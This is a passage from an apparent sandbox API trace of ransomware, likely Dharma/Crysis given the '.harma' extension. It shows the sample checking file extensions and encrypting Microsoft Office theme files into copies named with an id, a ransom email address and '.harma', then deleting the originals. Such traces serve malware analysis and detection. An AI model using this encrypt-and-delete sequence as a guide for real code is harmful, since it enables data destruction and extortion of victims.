4 [0146.243] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".xlsx") returned 5 [0146.243] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.243] lstrlenW (lpString=".ppt") returned 4 [0146.243] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString=".zip") returned 4 [0146.243] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".rar") returned 4 [0146.243] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".bz2") returned 4 [0146.243] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".7z") returned 3 [0146.244] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.244] lstrlenW (lpString=".dbf") returned 4 [0146.244] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.244] lstrlenW (lpString=".1cd") returned 4 [0146.244] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.244] lstrlenW (lpString=".jpg") returned 4 [0146.244] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.244] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.244] lstrlenW (lpString="Newsprint.eftx") returned 14 [0146.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.245] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=582401) returned 1 [0146.245] CloseHandle (hObject=0x330) returned 1 [0146.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0146.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.246] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.246] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.248] GetLastError () returned 0x0 [0146.248] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0146.596] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0146.768] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.768] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0146.768] SetEndOfFile (hFile=0x328) returned 1 [0146.768] CloseHandle (hObject=0x328) returned 1 [0146.768] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.768] SetEndOfFile (hFile=0x330) returned 1 [0146.786] CloseHandle (hObject=0x330) returned 1 [0146.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0147.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.084] lstrlenW (lpString=".doc") returned 4 [0147.084] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".docx") returned 5 [0147.084] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.084] lstrlenW (lpString=".pdf") returned 4 [0147.084] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".xls") returned 4 [0147.084] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".xlsx") returned 5 [0147.084] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.084] lstrlenW (lpString=".ppt") returned 4 [0147.084] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.084] lstrlenW (lpString=".zip") returned 4 [0147.084] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".rar") returned 4 [0147.084] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".bz2") returned 4 [0147.084] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString=".7z") returned 3 [0147.084] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.084] lstrlenW (lpString=".dbf") returned 4 [0147.084] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.085] lstrlenW (lpString=".1cd") returned 4 [0147.085] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.085] lstrlenW (lpString=".jpg") returned 4 [0147.085] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.085] lstrlenW (lpString=".doc") returned 4 [0147.085] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString=".docx") returned 5 [0147.085] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.085] lstrlenW (lpString=".pdf") returned 4 [0147.085] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString=".xls") returned 4 [0147.085] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString=".xlsx") returned 5 [0147.085] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.085] lstrlenW (lpString=".ppt") returned 4 [0147.085] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.085] lstrlenW (lpString=".zip") returned 4 [0147.085] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString=".rar") returned 4 [0147.085] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.085] lstrlenW (lpString=".bz2") returned 4 [0147.085] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.086] lstrlenW (lpString=".7z") returned 3 [0147.086] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.086] lstrlenW (lpString=".dbf") returned 4 [0147.086] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.086] lstrlenW (lpString=".1cd") returned 4 [0147.086] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0147.086] lstrlenW (lpString=".jpg") returned 4 [0147.086] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.086] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0147.086] lstrlenW (lpString="Perspective.eftx") returned 16 [0147.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.099] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=21423) returned 1 [0147.099] CloseHandle (hObject=0x338) returned 1 [0147.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0147.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0147.570] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.570] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0148.502] GetLastError () returned 0x0 [0148.502] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x53af, lpOverlapped=0x0) returned 1 [0148.524] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0148.525] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.525] WriteFile (in: hFile=0x20c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0148.525] SetEndOfFile (hFile=0x20c) returned 1 [0148.526] CloseHandle (hObject=0x20c) returned 1 [0148.526] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.526] SetEndOfFile (hFile=0x364) returned 1 [0148.541] CloseHandle (hObject=0x364) returned 1 [0148.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0148.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.542] lstrlenW (lpString=".doc") returned 4 [0148.542] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".docx") returned 5 [0148.542] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.542] lstrlenW (lpString=".pdf") returned 4 [0148.542] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".xls") returned 4 [0148.542] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".xlsx") returned 5 [0148.542] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.542] lstrlenW (lpString=".ppt") returned 4 [0148.542] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.542] lstrlenW (lpString=".zip") returned 4 [0148.542] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".rar") returned 4 [0148.542] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".bz2") returned 4 [0148.542] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.542] lstrlenW (lpString=".7z") returned 3 [0148.542] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.542] lstrlenW (lpString=".dbf") returned 4 [0148.542] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.543] lstrlenW (lpString=".1cd") returned 4 [0148.543] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.543] lstrlenW (lpString=".jpg") returned 4 [0148.543] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.543] lstrlenW (lpString=".doc") returned 4 [0148.543] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".docx") returned 5 [0148.543] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.543] lstrlenW (lpString=".pdf") returned 4 [0148.543] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".xls") returned 4 [0148.543] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".xlsx") returned 5 [0148.543] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.543] lstrlenW (lpString=".ppt") returned 4 [0148.543] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.543] lstrlenW (lpString=".zip") returned 4 [0148.543] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".rar") returned 4 [0148.543] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".bz2") returned 4 [0148.543] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.543] lstrlenW (lpString=".7z") returned 3 [0148.543] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.544] lstrlenW (lpString=".dbf") returned 4 [0148.544] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.544] lstrlenW (lpString=".1cd") returned 4 [0148.544] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0148.544] lstrlenW (lpString=".jpg") returned 4 [0148.544] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.544] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0148.544] lstrlenW (lpString="Thatch.eftx") returned 11 [0148.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0148.559] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=41295) returned 1 [0148.559] CloseHandle (hObject=0x364) returned 1 [0148.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0148.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0148.559] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.559] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.602] GetLastError () returned 0x0 [0148.602] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xa14f, lpOverlapped=0x0) returned 1 [0148.636] WriteFile (in: hFile=0x36c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xa150, lpOverlapped=0x0) returned 1 [0148.637] ReadFile (in: hFile=0x364, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.637] WriteFile (in: hFile=0x36c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0148.637] SetEndOfFile (hFile=0x36c) returned 1 [0148.637] CloseHandle (hObject=0x36c) returned 1 [0148.637] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.637] SetEndOfFile (hFile=0x364) returned 1 [0148.641] CloseHandle (hObject=0x364) returned 1 [0148.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.642] lstrlenW (lpString=".doc") returned 4 [0148.642] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".docx") returned 5 [0148.642] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.642] lstrlenW (lpString=".pdf") returned 4 [0148.642] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".xls") returned 4 [0148.642] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".xlsx") returned 5 [0148.642] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.642] lstrlenW (lpString=".ppt") returned 4 [0148.642] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.642] lstrlenW (lpString=".zip") returned 4 [0148.642] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".rar") returned 4 [0148.642] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".bz2") returned 4 [0148.642] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.642] lstrlenW (lpString=".7z") returned 3 [0148.642] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.642] lstrlenW (lpString=".dbf") returned 4 [0148.642] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.643] lstrlenW (lpString=".1cd") returned 4 [0148.643] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.643] lstrlenW (lpString=".jpg") returned 4 [0148.643] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.643] lstrlenW (lpString=".doc") returned 4 [0148.643] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".docx") returned 5 [0148.643] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.643] lstrlenW (lpString=".pdf") returned 4 [0148.643] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".xls") returned 4 [0148.643] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".xlsx") returned 5 [0148.643] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.643] lstrlenW (lpString=".ppt") returned 4 [0148.643] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0148.643] lstrlenW (lpString=".zip") returned 4 [0148.643] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".rar") returned 4 [0148.643] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".bz2") returned 4 [0148.643] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.643] lstrlenW (lpString=".7z") returned 3 [0148.643] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.644] 